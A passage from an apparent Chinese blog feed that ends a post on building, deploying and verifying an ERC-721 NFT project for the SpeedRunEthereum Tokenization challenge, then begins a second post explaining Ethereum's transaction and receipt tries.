id="专题六:IPFS-与-NFT-metadata-流程"><a href="#专题六:IPFS-与-NFT-metadata-流程" class="headerlink" title="专题六:IPFS 与 NFT metadata 流程"></a>专题六:IPFS 与 NFT metadata 流程</h2><p>NFT 图片和 metadata 不直接存链上。链上只保存 tokenId、owner、approval、tokenURI 等关键状态,图片和 JSON metadata 放在 IPFS。</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">前端选择 NFT metadata</span><br><span class="line"> ↓</span><br><span class="line">POST /api/ipfs/add</span><br><span class="line"> ↓</span><br><span class="line">Pinata pinning</span><br><span class="line"> ↓</span><br><span class="line">返回 ipfs://Qm...</span><br><span class="line"> ↓</span><br><span class="line">mintItem(to, ipfsUri)</span><br><span class="line"> ↓</span><br><span class="line">链上记录 tokenURI</span><br><span class="line"> ↓</span><br><span class="line">Transfer 事件被前端读取并展示</span><br></pre></td></tr></table></figure></div><p>这种设计的原因是链上存储非常贵。IPFS 的优势是内容寻址,<code>ipfs://Qm...</code> 本质上是内容哈希,只要有人继续 pin 这份文件,内容就可以被验证和读取。</p><h2 id="专题七:部署到-Sepolia"><a href="#专题七:部署到-Sepolia" class="headerlink" title="专题七:部署到 Sepolia"></a>专题七:部署到 Sepolia</h2><p>常用命令:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">yarn install</span><br><span class="line">yarn chain</span><br><span class="line">yarn deploy</span><br><span class="line">yarn <span class="built_in">test</span></span><br><span class="line">yarn generate</span><br><span class="line">yarn deploy --network sepolia</span><br></pre></td></tr></table></figure></div><p><code>yarn deploy --network sepolia</code> 背后的链路大致是:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">yarn deploy</span><br><span class="line"> ↓</span><br><span class="line">node scripts-js/parseArgs.js</span><br><span class="line"> ↓</span><br><span class="line">make deploy network=sepolia</span><br><span class="line"> ↓</span><br><span class="line">forge script script/Deploy.s.sol --rpc-url <sepolia> --broadcast</span><br></pre></td></tr></table></figure></div><p>部署成功记录:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Deploying YourCollectible...</span><br><span class="line">Deployed YourCollectible at 0x2A4CDe1F94421E1230F71c9245A5ef237893521C</span><br><span class="line">Block: 11113078</span><br><span class="line">Paid: ~0.0092 ETH</span><br></pre></td></tr></table></figure></div><p>需要注意:<code>ETH_PASSWORD</code> 不应该直接写成字面密码。Foundry 语境下它通常被当作密码文件路径处理。安全做法是交互式输入密码,避免把密码写进 shell history、<code>.env</code> 或博客文章。</p><p>前端切到 Sepolia:</p><div class="code-container" data-rel="Ts"><figure class="iseeu highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> scaffoldConfig = {</span><br><span class="line"> <span class="attr">targetNetworks</span>: [chains.<span class="property">sepolia</span>],</span><br><span class="line"> <span class="attr">pollingInterval</span>: <span class="number">3000</span>,</span><br><span class="line"> <span class="attr">alchemyApiKey</span>: process.<span class="property">env</span>.<span class="property">NEXT_PUBLIC_ALCHEMY_API_KEY</span> || <span class="string">"默认 key"</span>,</span><br><span class="line"> <span class="attr">walletConnectProjectId</span>: process.<span class="property">env</span>.<span class="property">NEXT_PUBLIC_WALLET_CONNECT_PROJECT_ID</span> || <span class="string">"默认 ID"</span>,</span><br><span class="line"> <span class="attr">burnerWalletMode</span>: <span class="string">"localNetworksOnly"</span>,</span><br><span class="line">} <span class="keyword">as</span> <span class="keyword">const</span> <span class="keyword">satisfies</span> <span class="title class_">ScaffoldConfig</span>;</span><br></pre></td></tr></table></figure></div><h2 id="专题八:Etherscan-验证"><a href="#专题八:Etherscan-验证" class="headerlink" title="专题八:Etherscan 验证"></a>专题八:Etherscan 验证</h2><p>验证命令:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yarn verify --network sepolia</span><br></pre></td></tr></table></figure></div><p>验证流程:</p><ol><li>读取部署产物里的合约地址和字节码。</li><li>使用相同 Solidity 版本、优化参数重新编译。</li><li>向 Etherscan 提交源码和编译配置。</li><li>Etherscan 重新编译并匹配链上字节码。</li><li>验证通过后显示 Contract Source Code Verified。</li></ol><p><code>.env</code> 中只应放本地私密配置,不应提交:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ETHERSCAN_API_KEY=<your_etherscan_api_key></span><br></pre></td></tr></table></figure></div><p>验证后的合约页面:</p><p><a class="link" href="https://sepolia.etherscan.io/address/0x2A4CDe1F94421E1230F71c9245A5ef237893521C" >https://sepolia.etherscan.io/address/0x2A4CDe1F94421E1230F71c9245A5ef237893521C<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h2 id="专题九:Vercel-部署"><a href="#专题九:Vercel-部署" class="headerlink" title="专题九:Vercel 部署"></a>专题九:Vercel 部署</h2><p>部署命令:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">yarn vercel login</span><br><span class="line">yarn vercel --prod</span><br></pre></td></tr></table></figure></div><p>注意事项:</p><ol><li>在项目根目录执行,不要在 <code>packages/foundry</code> 或 <code>packages/nextjs</code> 子目录执行。</li><li>Vercel 项目名只能使用小写字母、数字和连字符,例如 <code>tokenization-ky</code>。</li><li>环境变量命令依赖项目已经存在,通常先部署一次创建项目,再配置环境变量。</li></ol><p>可配置的环境变量:</p><table><thead><tr><th>变量名</th><th>说明</th></tr></thead><tbody><tr><td><code>NEXT_PUBLIC_ALCHEMY_API_KEY</code></td><td>Alchemy RPC key</td></tr><tr><td><code>NEXT_PUBLIC_WALLET_CONNECT_PROJECT_ID</code></td><td>WalletConnect 项目 ID</td></tr><tr><td><code>PINATA_KEY</code></td><td>Pinata key</td></tr><tr><td><code>PINATA_SECRET</code></td><td>Pinata secret</td></tr></tbody></table><p>线上地址:</p><p><a class="link" href="https://tokenization-ky.vercel.app/" >https://tokenization-ky.vercel.app<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h2 id="专题十:踩坑复盘"><a href="#专题十:踩坑复盘" class="headerlink" title="专题十:踩坑复盘"></a>专题十:踩坑复盘</h2><h3 id="Diamond-Problem-编译错误"><a href="#Diamond-Problem-编译错误" class="headerlink" title="Diamond Problem 编译错误"></a>Diamond Problem 编译错误</h3><p>OpenZeppelin v5 的 ERC-721 多扩展组合必须显式重写 <code>_update</code>、<code>_increaseBalance</code>、<code>tokenURI</code>、<code>supportsInterface</code>。修复时保留 <code>super</code> 调用链,不要手写父类状态逻辑。</p><h3 id="RainbowKit-SSR-500"><a href="#RainbowKit-SSR-500" class="headerlink" title="RainbowKit SSR 500"></a>RainbowKit SSR 500</h3><p>RainbowKit 依赖浏览器环境,Provider 树必须避免在服务端初始化。用 <code>dynamic(..., { ssr: false })</code> 包住整棵 Provider 树。</p><h3 id="Sepolia-交易-pending"><a href="#Sepolia-交易-pending" class="headerlink" title="Sepolia 交易 pending"></a>Sepolia 交易 pending</h3><p>部署交易曾出现长时间 pending。经验是不要盲目手动设置异常 gas price,优先使用 Foundry 自动估算,必要时检查 Etherscan 上的交易状态和 nonce。</p><h3 id="部署钱包和浏览器钱包不是同一个"><a href="#部署钱包和浏览器钱包不是同一个" class="headerlink" title="部署钱包和浏览器钱包不是同一个"></a>部署钱包和浏览器钱包不是同一个</h3><p><code>yarn generate</code> 生成的是部署者 keystore,MetaMask 是浏览器交互钱包。二者地址、余额、权限完全独立。</p><h3 id="public-mint-不等于-owner-权限"><a href="#public-mint-不等于-owner-权限" class="headerlink" title="public mint 不等于 owner 权限"></a>public mint 不等于 owner 权限</h3><p>浏览器钱包能铸 NFT,不是因为它有 owner 权限,而是因为 <code>mintItem</code> 本身是 <code>public</code>,任何地址都能调用。当前合约继承了 <code>Ownable</code>,但没有在 <code>mintItem</code> 上使用 <code>onlyOwner</code>。</p><h2 id="专题十一:安全与工程理解"><a href="#专题十一:安全与工程理解" class="headerlink" title="专题十一:安全与工程理解"></a>专题十一:安全与工程理解</h2><h3 id="钱包角色"><a href="#钱包角色" class="headerlink" title="钱包角色"></a>钱包角色</h3><table><thead><tr><th>角色</th><th>来源</th><th>用途</th></tr></thead><tbody><tr><td>部署钱包</td><td><code>yarn generate</code> keystore</td><td>部署合约、可能持有 owner 权限</td></tr><tr><td>用户钱包</td><td>MetaMask</td><td>与 dApp 交互</td></tr><tr><td>Burner wallet</td><td>Scaffold-ETH 本地生成</td><td>本地开发测试</td></tr><tr><td>硬件钱包</td><td>Ledger / Trezor</td><td>高价值资产和高权限账户</td></tr></tbody></table><p>部署者账户如果持有合约 owner 权限,就应该按高权限账户处理。生产环境中常见做法是把 owner 转给多签钱包。</p><h3 id="链上与链下边界"><a href="#链上与链下边界" class="headerlink" title="链上与链下边界"></a>链上与链下边界</h3><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">链上:tokenId、ownerOf、approval、Transfer events</span><br><span class="line">链下:metadata JSON、图片文件、索引、搜索、部分解析服务</span><br></pre></td></tr></table></figure></div><p>把大对象放链下,把所有权和可验证指针放链上,是 NFT 的常见工程折中。</p><h3 id="ERC-721-接收钩子"><a href="#ERC-721-接收钩子" class="headerlink" title="ERC-721 接收钩子"></a>ERC-721 接收钩子</h3><p><code>safeTransferFrom</code> 在接收方是合约时,会要求对方实现 <code>onERC721Received</code> 并返回指定 selector。这样可以避免 NFT 被转进不支持 ERC-721 的合约后永久卡住。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">function onERC721Received(</span><br><span class="line"> address operator,</span><br><span class="line"> address from,</span><br><span class="line"> uint256 tokenId,</span><br><span class="line"> bytes calldata data</span><br><span class="line">) external returns (bytes4);</span><br></pre></td></tr></table></figure></div><h2 id="完整流程速查"><a href="#完整流程速查" class="headerlink" title="完整流程速查"></a>完整流程速查</h2><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">本地链启动</span><br><span class="line"> yarn chain</span><br><span class="line"> ↓</span><br><span class="line">本地部署和测试</span><br><span class="line"> yarn deploy</span><br><span class="line"> yarn test</span><br><span class="line"> ↓</span><br><span class="line">部署到 Sepolia</span><br><span class="line"> yarn deploy --network sepolia</span><br><span class="line"> ↓</span><br><span class="line">Etherscan 验证</span><br><span class="line"> yarn verify --network sepolia</span><br><span class="line"> ↓</span><br><span class="line">前端生产部署</span><br><span class="line"> yarn vercel --prod</span><br><span class="line"> ↓</span><br><span class="line">SpeedRunEthereum 提交</span><br><span class="line"> ACCEPTED</span><br></pre></td></tr></table></figure></div><h2 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a>常用命令</h2><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 开发</span></span><br><span class="line">yarn chain</span><br><span class="line">yarn deploy</span><br><span class="line">yarn start</span><br><span class="line">yarn <span class="built_in">test</span></span><br><span class="line">yarn lint</span><br><span class="line">yarn format</span><br><span class="line"></span><br><span class="line"><span class="comment"># 部署</span></span><br><span class="line">yarn generate</span><br><span class="line">yarn deploy --network sepolia</span><br><span class="line">yarn verify --network sepolia</span><br><span class="line">yarn account</span><br><span class="line"></span><br><span class="line"><span class="comment"># 前端部署</span></span><br><span class="line">yarn vercel login</span><br><span class="line">yarn vercel --prod</span><br><span class="line"></span><br><span class="line"><span class="comment"># Foundry</span></span><br><span class="line">forge build</span><br><span class="line">forge <span class="built_in">test</span> -vv</span><br><span class="line">forge script script/Deploy.s.sol --rpc-url sepolia --broadcast --verify</span><br><span class="line">cast call <addr> <span class="string">"tokenIdCounter()(uint256)"</span> --rpc-url sepolia</span><br><span class="line">cast send <addr> <span class="string">"mintItem(address,string)"</span> <to> <span class="string">"<ipfs://...>"</span> --rpc-url sepolia</span><br><span class="line">anvil</span><br></pre></td></tr></table></figure></div><h2 id="本关收获"><a href="#本关收获" class="headerlink" title="本关收获"></a>本关收获</h2><p>这一关不是只完成了一个 NFT demo,而是串起了 Solidity、OpenZeppelin、Foundry、Scaffold-ETH 2、IPFS、Sepolia、Etherscan、Vercel 的完整链路。</p><p>真正沉淀下来的能力:</p><ol><li>ERC-721 标准和 OpenZeppelin 组合使用。</li><li>Solidity 多重继承和 <code>override</code> / <code>super</code> 机制。</li><li>Foundry 编译、测试、部署、链上读写。</li><li>Sepolia 测试网部署和 gas / nonce 调试。</li><li>Etherscan 合约验证流程。</li><li>Next.js + Wagmi + RainbowKit 前端集成。</li><li>IPFS metadata 的链上链下边界。</li><li>部署钱包、用户钱包、burner wallet 的角色区分。</li></ol><h2 id="系列路线"><a href="#系列路线" class="headerlink" title="系列路线"></a>系列路线</h2><p>SpeedRunEthereum Ethereum 101 系列现已按以下专题全部完成;表中的 Advanced 主题作为后续学习方向:</p><table><thead><tr><th>挑战</th><th>主题</th><th>难度</th></tr></thead><tbody><tr><td>Crowdfunding</td><td>合约之间的协作</td><td>入门</td></tr><tr><td>Token Vendor</td><td>ETH 与 Token 兑换</td><td>入门</td></tr><tr><td>Dice Game</td><td>链上随机数与攻击防御</td><td>进阶</td></tr><tr><td>Build a DEX</td><td>AMM 去中心化交易所</td><td>进阶</td></tr><tr><td>Oracles</td><td>预言机机制</td><td>高级</td></tr><tr><td>Over-Collateralized Lending</td><td>超额抵押借贷</td><td>高级</td></tr></tbody></table><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li>SpeedRunEthereum 官网:<a class="link" href="https://speedrunethereum.com/" >https://speedrunethereum.com/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Tokenization 挑战:<a class="link" href="https://speedrunethereum.com/challenge/tokenization" >https://speedrunethereum.com/challenge/tokenization<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>我的 Builder 档案:<a class="link" href="https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fEf38b310aE71f7" >https://speedrunethereum.com/builders/0x7FB24f7c6BE7fE61dA353E2A0fEf38b310aE71f7<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Scaffold-ETH 2 文档:<a class="link" href="https://docs.scaffoldeth.io/" >https://docs.scaffoldeth.io/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Foundry Book:<a class="link" href="https://book.getfoundry.sh/" >https://book.getfoundry.sh/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>OpenZeppelin Contracts:<a class="link" href="https://docs.openzeppelin.com/contracts/" >https://docs.openzeppelin.com/contracts/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li><li>Solidity 文档:<a class="link" href="https://docs.soliditylang.org/" >https://docs.soliditylang.org/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></li></ul>]]></content>
<summary type="html"></summary>
<category term="区块链开发" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E5%BC%80%E5%8F%91/SpeedRunEthereum/"/>
<category term="Solidity" scheme="https://kylinxin.github.io/tags/Solidity/"/>
<category term="SpeedRunEthereum" scheme="https://kylinxin.github.io/tags/SpeedRunEthereum/"/>
<category term="ERC-721" scheme="https://kylinxin.github.io/tags/ERC-721/"/>
<category term="Scaffold-ETH 2" scheme="https://kylinxin.github.io/tags/Scaffold-ETH-2/"/>
<category term="NFT" scheme="https://kylinxin.github.io/tags/NFT/"/>
</entry>
<entry>
<title>以太坊交易树和收据树知识点</title>
<link href="https://kylinxin.github.io/2026/06/04/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E4%BA%A4%E6%98%93%E6%A0%91%E5%92%8C%E6%94%B6%E6%8D%AE%E6%A0%91%E7%9F%A5%E8%AF%86%E7%82%B9/"/>
<id>https://kylinxin.github.io/2026/06/04/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E4%BA%A4%E6%98%93%E6%A0%91%E5%92%8C%E6%94%B6%E6%8D%AE%E6%A0%91%E7%9F%A5%E8%AF%86%E7%82%B9/</id>
<published>2026-06-04T01:17:00.000Z</published>
<updated>2026-06-22T02:00:00.000Z</updated>
<content type="html"><![CDATA[<h2 id="ETH-交易树和收据树:知识点总览"><a href="#ETH-交易树和收据树:知识点总览" class="headerlink" title="ETH 交易树和收据树:知识点总览"></a>ETH 交易树和收据树:知识点总览</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/blockchain-course/eth-tx-receipt-tree-1.png" alt="ETH 交易树和收据树示意图 1" ><figcaption>ETH 交易树和收据树示意图 1</figcaption></figure><br><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/blockchain-course/eth-tx-receipt-tree-2.png" alt="ETH 交易树和收据树示意图 2" ><figcaption>ETH 交易树和收据树示意图 2</figcaption></figure></p><blockquote><p>核心一句话:交易树承诺当前区块里的交易内容和顺序,收据树承诺这些交易执行后的结果。它们的根分别是 <code>transactionsRoot</code> 和 <code>receiptsRoot</code>,都会写入区块头。</p></blockquote><p>这一篇接着状态树展开。状态树回答“执行后世界状态是什么”,交易树回答“这个区块有哪些交易”,收据树回答“这些交易执行出了什么结果”。</p><hr><h2 id="1-先背下来的核心结论"><a href="#1-先背下来的核心结论" class="headerlink" title="1. 先背下来的核心结论"></a>1. 先背下来的核心结论</h2><p>以太坊区块头里和本专题最相关的三个根是:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">stateRoot</span><br><span class="line">transactionsRoot</span><br><span class="line">receiptsRoot</span><br></pre></td></tr></table></figure></div><p>它们分别表示:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">stateRoot -> 区块执行完成后的全局状态</span><br><span class="line">transactionsRoot -> 当前区块交易列表的承诺</span><br><span class="line">receiptsRoot -> 当前区块交易执行结果的承诺</span><br></pre></td></tr></table></figure></div><p>交易树和收据树都是按交易在区块中的序号索引:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">key = RLP(transactionIndex)</span><br><span class="line">value = RLP(transaction 或 receipt)</span><br></pre></td></tr></table></figure></div><p>每笔交易执行后都会产生一个收据,所以交易和收据在 index 上一一对应。</p><hr><h2 id="2-核心考点"><a href="#2-核心考点" class="headerlink" title="2. 核心考点"></a>2. 核心考点</h2><p>交易树和收据树通常考四类能力。</p><p>第一类:能区分 <code>stateRoot</code>、<code>transactionsRoot</code>、<code>receiptsRoot</code> 的含义。</p><p>第二类:知道交易树承诺交易内容和顺序,收据树承诺执行结果和日志。</p><p>第三类:能解释为什么交易顺序影响最终状态。</p><p>第四类:能把 Receipt、logs、Bloom Filter、事件查询和区块浏览器展示联系起来。</p><p>继续深入时,可以追问:交易树和收据树为什么也用 MPT?它们和状态树的 MPT 必要性是否一样?</p><hr><h2 id="3-三个根在区块里的位置"><a href="#3-三个根在区块里的位置" class="headerlink" title="3. 三个根在区块里的位置"></a>3. 三个根在区块里的位置</h2><p>以太坊区块可以简化为:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Block</span><br><span class="line">├── Header</span><br><span class="line">│ ├── stateRoot</span><br><span class="line">│ ├── transactionsRoot</span><br><span class="line">│ └── receiptsRoot</span><br><span class="line">└── Body</span><br><span class="line"> └── Transactions</span><br><span class="line"> ├── Tx0</span><br><span class="line"> ├── Tx1</span><br><span class="line"> └── ...</span><br></pre></td></tr></table></figure></div><p><code>transactionsRoot</code> 和区块体中的交易列表直接相关。只要某笔交易内容变化,或者交易顺序变化,交易树根都会变化。</p><p><code>receiptsRoot</code> 和交易执行后的收据列表相关。只要某笔交易的执行状态、gas 使用、日志发生变化,收据树根都会变化。</p><p><code>stateRoot</code> 是执行所有交易后的全局状态根。它不是当前区块交易列表的根,而是执行完成后的世界状态承诺。</p><hr><h2 id="4-交易树-Transaction-Trie"><a href="#4-交易树-Transaction-Trie" class="headerlink" title="4. 交易树 Transaction Trie"></a>4. 交易树 Transaction Trie</h2><p>交易树用于组织当前区块中的所有交易,对应区块头里的:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">transactionsRoot</span><br></pre></td></tr></table></figure></div><p>交易树的逻辑结构是:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">0 -> Tx0</span><br><span class="line">1 -> Tx1</span><br><span class="line">2 -> Tx2</span><br></pre></td></tr></table></figure></div><p>工程上可以表示为:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">key = RLP(transactionIndex)</span><br><span class="line">value = RLP(transaction)</span><br></pre></td></tr></table></figure></div><p>交易树承诺两件事。</p><p>第一,当前区块包含哪些交易。任何交易内容被篡改,<code>transactionsRoot</code> 都会不匹配。</p><p>第二,这些交易的顺序是什么。以太坊交易顺序影响状态转移,所以顺序本身也必须被承诺。</p><hr><h2 id="5-为什么交易顺序很重要"><a href="#5-为什么交易顺序很重要" class="headerlink" title="5. 为什么交易顺序很重要"></a>5. 为什么交易顺序很重要</h2><p>以太坊是状态机:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">旧状态 + 有序交易序列 -> 新状态</span><br></pre></td></tr></table></figure></div><p>如果同一组交易换一个顺序,最终状态可能完全不同。</p><p>例如:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Tx0:Alice 给 Bob 转 5 ETH</span><br><span class="line">Tx1:Alice 调用合约购买 NFT</span><br></pre></td></tr></table></figure></div><p>如果先转账导致 Alice 余额不足,那么后续合约调用可能失败。反过来先调用合约,结果可能不同。</p><p>nonce 也依赖顺序。同一个账户的交易必须按 nonce 顺序执行,否则交易有效性会改变。</p><p>所以交易树不是只承诺“集合”,而是承诺“有序列表”。</p><hr><h2 id="6-收据树-Receipt-Trie"><a href="#6-收据树-Receipt-Trie" class="headerlink" title="6. 收据树 Receipt Trie"></a>6. 收据树 Receipt Trie</h2><p>收据树用于组织当前区块中每笔交易执行后的结果,对应区块头里的:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">receiptsRoot</span><br></pre></td></tr></table></figure></div><p>每笔交易执行完成后都会产生一个 Receipt。简化结构如下:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Receipt</span><br><span class="line">├── status</span><br><span class="line">├── cumulativeGasUsed</span><br><span class="line">├── logsBloom</span><br><span class="line">└── logs</span><br></pre></td></tr></table></figure></div><p><code>status</code> 表示交易执行是否成功。通常 <code>1</code> 表示成功,<code>0</code> 表示失败。</p><p><code>cumulativeGasUsed</code> 表示当前区块中从第一笔交易执行到这笔交易为止累计使用的 gas。</p><p><code>logsBloom</code> 是日志布隆过滤器,用于加速事件查询。</p><p><code>logs</code> 是合约执行过程中产生的事件日志。</p><hr><h2 id="7-交易和收据的一一对应"><a href="#7-交易和收据的一一对应" class="headerlink" title="7. 交易和收据的一一对应"></a>7. 交易和收据的一一对应</h2><p>交易树和收据树都按交易 index 建 key:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Transaction Trie</span><br><span class="line">0 -> Tx0</span><br><span class="line">1 -> Tx1</span><br><span class="line">2 -> Tx2</span><br><span class="line"></span><br><span class="line">Receipt Trie</span><br><span class="line">0 -> Receipt0</span><br><span class="line">1 -> Receipt1</span><br><span class="line">2 -> Receipt2</span><br></pre></td></tr></table></figure></div><p>这种对应关系很重要。它让验证者可以证明:某个区块中的第 N 笔交易,确实产生了第 N 个执行收据。</p><p>交易树关注输入,收据树关注输出。</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Tx_i -> EVM 执行 -> Receipt_i</span><br></pre></td></tr></table></figure></div><p>如果有人修改交易日志、状态码或 gas 统计,<code>receiptsRoot</code> 就会变化。</p><hr><h2 id="8-收据中的-logs-和事件"><a href="#8-收据中的-logs-和事件" class="headerlink" title="8. 收据中的 logs 和事件"></a>8. 收据中的 logs 和事件</h2><p>智能合约可以通过 event 产生日志。例如 ERC-20 转账常见事件:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">event Transfer(address indexed from, address indexed to, uint256 value);</span><br></pre></td></tr></table></figure></div><p>一次 USDT 转账可能产生一条 <code>Transfer</code> 日志:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Log</span><br><span class="line">├── address = USDT 合约地址</span><br><span class="line">├── topics</span><br><span class="line">│ ├── Transfer 事件签名哈希</span><br><span class="line">│ ├── from 地址</span><br><span class="line">│ └── to 地址</span><br><span class="line">└── data = value</span><br></pre></td></tr></table></figure></div><p>区块浏览器中看到的 ERC-20 转账记录,很多时候就是从交易收据的 logs 